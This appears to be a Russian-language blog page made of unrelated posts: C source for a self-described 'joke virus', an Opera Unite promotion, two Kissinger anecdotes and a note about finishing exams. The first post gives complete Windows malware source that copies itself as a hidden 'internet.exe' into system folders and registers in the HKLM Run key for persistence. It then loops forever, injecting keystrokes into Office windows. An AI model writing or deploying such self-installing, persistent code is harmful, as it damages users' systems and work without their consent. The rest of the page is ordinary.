Шуточный вирус

Копался в сорцах и наткнулся на код шуточного вируса, написанный неизвестным автором. Вирус прописывается в автозагрузку и если запущен MS Word , MS Excel или MS Power Point то максимизируется окно и поле редактора текста пишется "Вы ламер". А вот собственно и сам код:

#include "windows.h"

 WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
 {
 HKEY key;
 char sysdir[256],
 windir[256],
 myname[256];

 /*Узнаем свое имя функцией GetModuleFileName. И узнает адрес папки windows и папки system32 функциями GetWindowsDirectory и GetSystemDirectory*/

 GetModuleFileName(hint,myname,256);
 GetWindowsDirectory(windir,sizeof(windir));
 GetSystemDirectory(sysdir,sizeof(sysdir));

 /*Добавляем к строкам содержащим пути к системным папкам имя нашего вируса, чтобы скопировать в эти папки себя.*/

 strcat(windir,"\\internet.exe");
 strcat(sysdir,"\\internet.exe");

 /*Копируемся и ставим себе скрытые атрибуты*/

 CopyFile(myname,windir,FALSE);
 CopyFile(myname,sysdir,FALSE);
 SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
 SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);

 /*Прописываемся в реестр на автозагрузку*/

 RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, key);
 RegSetValueEx(key,"internet.exe",0,REG_SZ,(BYTE *)sysdir,256);
 RegCloseKey(key);

 /*Ожидаем 2 минуты.*/
 Sleep(60000*2); 

 /*Запускаем бесконечный цикл каждые 10 секунд. В цикле ищем окна содержащие в своих заголовках Microsoft Word, Microsoft Excel,Microsoft PowerPoint. Максимизируем окно, переключаем раскладку клавиатуры на русскую и эмулируем нажатие на несколько клавиш. В результате в окне пользователя в WORD сам по себе печатается текст "Вы ламер". */

 do{
 if (FindWindow(NULL, "Microsoft Word")!=0 || FindWindow(NULL, "Microsoft Excel")!=0 || FindWindow(NULL, "Microsoft PowerPoint")!=0)
 {
 ShowWindow(FindWindow(NULL, "Microsoft Word") , SC_MAXIMIZE);
 LoadKeyboardLayout("00000419", KLF_ACTIVATE);
 Sleep(10000);
 do
 {
 keybd_event('D', 0,0,0);
 keybd_event('D', 0,KEYEVENTF_KEYUP,0);
 keybd_event('S', 0,0,0);
 keybd_event('S', 0,KEYEVENTF_KEYUP,0);
 keybd_event(VK_SPACE, 0,0,0);
 keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);
 keybd_event('K', 0,0,0);
 keybd_event('K', 0,KEYEVENTF_KEYUP,0);
 keybd_event('F', 0,0,0);
 keybd_event('F', 0,KEYEVENTF_KEYUP,0);
 keybd_event('V', 0,0,0);
 keybd_event('V', 0,KEYEVENTF_KEYUP,0);
 keybd_event('T', 0,0,0);
 keybd_event('T', 0,KEYEVENTF_KEYUP,0);
 keybd_event('H', 0,0,0);
 keybd_event('H', 0,KEYEVENTF_KEYUP,0);
 }while(1);
 }
 }while(1);
 }


Продвижение Opera Unіte

Платформа Opera Unіte позволяет превратить любой подключенный к сети клиентский ПК в сервер. Благодаря этому пользователе смогут связываться с компьютерами знакомых и друзей непосредственно и делиться информацией без применения онлайн-сервисов и приложений. Кроме того, через Opera Unіte владельцы компьютеров смогут иметь возможность удаленно работать с данными, которые хранятся на своих машинах с помощью любого другого устройства, оснащенного современным веб-браузером.

В данное время платформа Opera Unіte включает в себя несколько бесплатных сервисов. Так, система Fіle Sharіng предоставляет доступ к файлам на своем ПК другим пользователям. В данном случае не нужно заранее загружать эти файлы на специализированные онлайн-сервисы: все, что нужно сделать, - лишь выбрать на локальном диске папку, доступ к которой необходим другим пользователям.

Режим веб-сервера (Web Server) позволяет запускать полноценный веб-сайт с клиентского ПК, а сервис “Гостиная” (The Lounge) дает возможность организовывать встречи с друзьями прямо на своем компьютере. Кроме того, платформа Opera Unіte позволяет открывать доступ к локальной коллекции музыкальных композиций и фотографий.

Разработчики платформы подчеркивают, что сервисы Opera Unіte базируются на открытых веб-стандартах, которая упрощает создание новых приложений, которые работают на базе представленной технологии.

Последнюю версию браузера Opera 10 с поддержкой Opera Unіte можно загрузить отсюда - http://labs.opera.com/

"Челночная дипломатия" Киссенджера

Валентин Зоpин беседyет с Генpи Киссинджеpом.
- Скажите, господин Киссинджеp, вы считаетесь изобpетателем "челночной дипломатии". Поясните, что это такое, на пpимеpе?
- О, это очень пpосто,- отвечает Киссинджеp.- допyстим, пpихожy я к Рокфеллеpy и говоpю:" Послyшайте, Рокфеллеp, вы хотите иметь своим зятем кpyтого сибиpского мyжика?"
- Фy!- говоpит Рокфеллеp.- Вы что?
- А если он пpи этом бyдет клиентом швейцаpского банка?
- О, это дpyгое дело!
Дальше совсем пpосто. Пpихожy я в банк, спpашиваю:" Вы хотите иметь своим клиентом кpyтого сибиpского мyжика?"
- Фy-y,- говоpят в банке.
- А если он пpи этом бyдет зятем Рокфеллеpа?
- О-о, дpyгое дело!
Дальше - пpосто пyстяки. Пpиезжаю к кpyтомy сибиpскомy мyжикy, спpашиваю:
"Хочешь жениться на обыкновенной амеpиканке?"
- Фy-y!- говоpит тот.
- А стать пpи этом зятем Рокфеллеpа?
- О-о! Дpyгое дело!
Тепеpь - сyщая еpyнда. Пpихожy я к дочеpи Рокфеллеpа, спpашиваю:
- Ты хочешь иметь мyжем клиента швейцаpского банка?
- Фy-y,- говоpит она.
- А если это бyдет кpyтой сибиpский мyжик?
- О-о-о-о!

Генри Киссенджер

Одна из историй, которые часто рассказывают о Киссинджере... касается доклада, над которым работал лорд Уинстон. Представив доклад Киссинджеру, он вскоре получил его назад с замечанием: «Это лучшее, на что вы способны?» Лорд переделал и отредактировал доклад и наконец вновь представил его на рассмотрение. Работа вернулась с тем же коротким замечанием. Переделав его еще раз — и снова получив тот же вопрос от Киссинджера, лорд взорвался: «Да черт побери, это лучшее, на что я способен!» На что Киссинджер ответил: «Отлично, полагаю, на этот раз я его прочту».

Долгожданный отдых

Вот и закончилась сессия. Наконец-то!!! С каждым днём голова болела сильней и сильней, а на последнем экзамене мозг так загрузился, что долго откачивать пришлось... Всё же 5 экзаменов это не мало, плюс ещё напряг с баллами под конец симестра. Так что теперь буду отыхать и заниматься любимым делом - кодить))